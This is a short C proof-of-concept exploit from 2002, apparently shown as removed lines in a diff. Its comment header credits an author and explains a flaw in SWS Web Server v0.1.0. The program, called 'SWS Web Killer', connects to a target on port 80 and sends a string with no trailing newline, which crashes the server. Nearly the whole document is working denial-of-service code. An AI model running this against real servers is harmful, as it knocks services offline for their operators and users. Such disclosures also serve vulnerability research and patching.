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- /*
- * Mon Sep 2 17:45:04 2002
- *
- * |SaMaN| aka Mert <saman@hush.com>
- *
- * Information : Anyone can kill SWS Web Server v0.1.0 remotely.
- *
- * Proof of Concept Exploit for SWS Web Server v0.1.0
- *
- * SWS homepage : http://www.linuxprogramlama.com
- *
- * Tested on : Slackware 8.1 - 2.4.18
- * : Redhat 7.0 - 2.2.16-22
- *
- * Problem : sws_web_server.c
- * : line 108
- * : if (recvBuffer[i - 1] != '\n') break;
- *
- * Q : So what will happen when we send a string not end with '\n' ?
- * A : break break break
- * Q : So root should restart web server everytime ?
- * A : Yes
- * Q : Other web servers act like this ?
- * A : No
- * Q : So something is wrong ?
- * A : Yes :)
- *
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <errno.h>
- #include <string.h>
- #include <netdb.h>
- #include <sys/types.h>
- #include <netinet/in.h>
- #include <sys/socket.h>
-
- #define K "\033[1;31m"
- #define Y "\033[1;32m"
- #define SA "\033[1;33m"
- #define M "\033[1;34m"
-
- #define PORT 80
-
- int main(int argc, char *argv[])
- {
- int sockfd, numbytes;
- struct hostent *adres;
- struct sockaddr_in hedef;
-
- char buf[8] = "|SaMaN|";
-
- if (argc != 2) {
- printf("%s=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n", K);
- printf("%sSWS Web Killer (saman@hush.com) \n", SA);
- printf("%s=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n", K);
- printf("%sUsage: ./sws_web_killer %s<IP> \n",Y,M);
- return 0;
- }
-
- if ((adres=gethostbyname(argv[1])) == NULL) {
- perror("gethostbyname");
- exit(1);
- }
-
- if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
- perror("socket");
- exit(1);
- }
-
- hedef.sin_family = AF_INET;
- hedef.sin_port = htons(PORT);
- hedef.sin_addr = *((struct in_addr *)adres->h_addr);
- memset(&(hedef.sin_zero), '\0', 8);
-
- if (connect(sockfd, (struct sockaddr *)&hedef,
- sizeof(struct sockaddr)) == -1) {
- perror("connect");
- exit(1);
- }
-
- if ((numbytes=send(sockfd, buf, strlen(buf), 0)) == -1) {
- perror("send");
- exit(1);
- }
-
- close(sockfd);
-
- return 0;
- }
-
-